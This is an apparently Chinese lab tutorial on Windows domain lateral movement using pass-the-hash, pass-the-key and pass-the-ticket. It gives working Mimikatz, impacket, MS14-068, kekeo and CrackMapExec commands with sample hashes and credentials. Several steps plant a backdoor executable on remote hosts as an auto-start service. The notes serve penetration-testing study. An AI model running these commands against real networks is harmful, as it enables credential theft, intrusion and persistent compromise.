目录
- PTH PTT PTK 简介
- 横向移动前置与环境搭建
- 域横向移动-PTH-Mimikatz&NTLM
- 1、Mimikatz
- 2、impacket-at&ps&wmi&smb
- 域横向移动-PTK-Mimikatz&AES256(鸡肋)
- 域横向移动-PTT-漏洞&Kekeo&Ticket
- 1、漏洞-MS14068
- 2、kekeo 第三方票据生成工具
- 3、mimikatz
- 域横向移动-PTH-Proxychains&CrackMapExec
- CrackMapExec
- 1、Linux Proxychains使用
- 2、密码喷射-域用户登录PTH:
PTH PTT PTK 简介
pass the hash(哈希传递攻击,简称pth)
pass the ticket(票据传递攻击,简称ptt)
pass the key(密钥传递攻击,简称ptk)
PTH(pass the hash) 利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
PTK(pass the key) 利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) 利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)
横向移动前置与环境搭建
看之前的文章 【内网安全】横向移动-Wmi-Smb-CME密码喷射-CSDN博客
域横向移动-PTH-Mimikatz&NTLM
PTH = Pass The Hash,通过密码散列值 (通常是NTLM Hash)来进行攻击。
在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。
因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。另外注意在Window Server 2012 R2之前使用到的密码散列值是LM、NTLM,在2012 R2及其版本之后使用到的密码散列值是NTLM Hash。
1、Mimikatz
获取Mimikatz的更高权限,以便后续操作
mimikatz privilege::debug
PTK连接32主机,并且会在当前主机弹回一个cmd
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
cs中执行上面的命令
会在执行命令的主机上弹出一个cmd。可以在上面对32主机进行命令执行
上线32主机
连接32主机方便进行文件传输
net use \\192.168.3.32\c$复制本机的后门到32
copy c:\4455.exe \\192.168.3.32\c$在32主机创建一个名为‘bshell’的服务,并绑定4455.exe
sc \\sqlserver create ashell binpath= "c:\4455.exe" start=auto #开启自启服务,可以不加运行服务
sc \\sqlserver start ashell
成功上线
其中 192.168.3.32
也可以改成用户名字 如32的用户 sqlserver
这里有个比较严重的问题。当你执行 sc \\sqlserver start ashell
后过一小会就会显示
然后你的cs就掉了
2、impacket-at&ps&wmi&smb
psexec -hashes :NTLM值 域名/域用户@域内ip地址
python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32smbexec -hashes :NTLM值 域名/域用户@域内ip地址
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32wmiexec -hashes :NTLM值 域名/域用户@域内ip地址
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
NTLM值可以在CS里面用抓取
域横向移动-PTK-Mimikatz&AES256(鸡肋)
PTK = Pass The Key,当系统安装了KB2871997补丁且禁用了NTLM的时候,
那我们抓取到的ntlm hash也就失去了作用,但是可以通过PTK的攻击方式获得权限。
mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
域横向移动-PTT-漏洞&Kekeo&Ticket
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases
1、漏洞-MS14068
(webadmin权限)-利用漏洞生成的用户的新身份票据尝试认证
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。
它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。
该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。
用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
获取SID值:
shell whoami/user
生成票据文件:
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
查看当前票据
shell klist
清除票据连接:
shell klist purge
内存导入票据:
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
票据是有时效的(失效后就连接不上了)
连接目标上线:
这里建议写计算机名,ip可能失效
shell dir \\OWA2010CN-GOD\c$
shell net use \\OWA2010CN-GOD\C$
copy c:\4455.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath= "c:\4455.exe"
sc \\OWA2010CN-GOD start bindshell
注意:成功不成功看DC域控漏洞补丁打没打
2、kekeo 第三方票据生成工具
(高权限,需NTLM)-利用获取的NTLM生成新的票据尝试认证
因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,
我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗
缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。
生成票据:
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据:
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据:
shell klist
利用票据连接:
shell dir \\owa2010cn-god\c$
注意:因为kekeo
只是一个票据生成工具,并不是利用漏洞,所以能不能连接成功看ntlm哈希值的正确性
3、mimikatz
(高权限,需Ticket)-利用历史遗留的票据重新认证尝试
导出票据:
mimikatz sekurlsa::tickets /export
导入票据:
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
导入与域控连接的票据
查看票据:
shell klist
利用票据连接:
shell dir \\owa2010cn-god\c$
注意:成功不成功看当前主机有没有被目标连接过
域横向移动-PTH-Proxychains&CrackMapExec
CrackMapExec
Github:GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks
官方手册:Site Unreachable
下载对应release,建立socks连接,设置socks代理,配置规则使用
1、Linux Proxychains使用
代理配置:
Proxychains.conf
代理调用:
Proxychains 命令
2、密码喷射-域用户登录PTH:
域用户HASH登录
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c
本地用户HASH登录
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth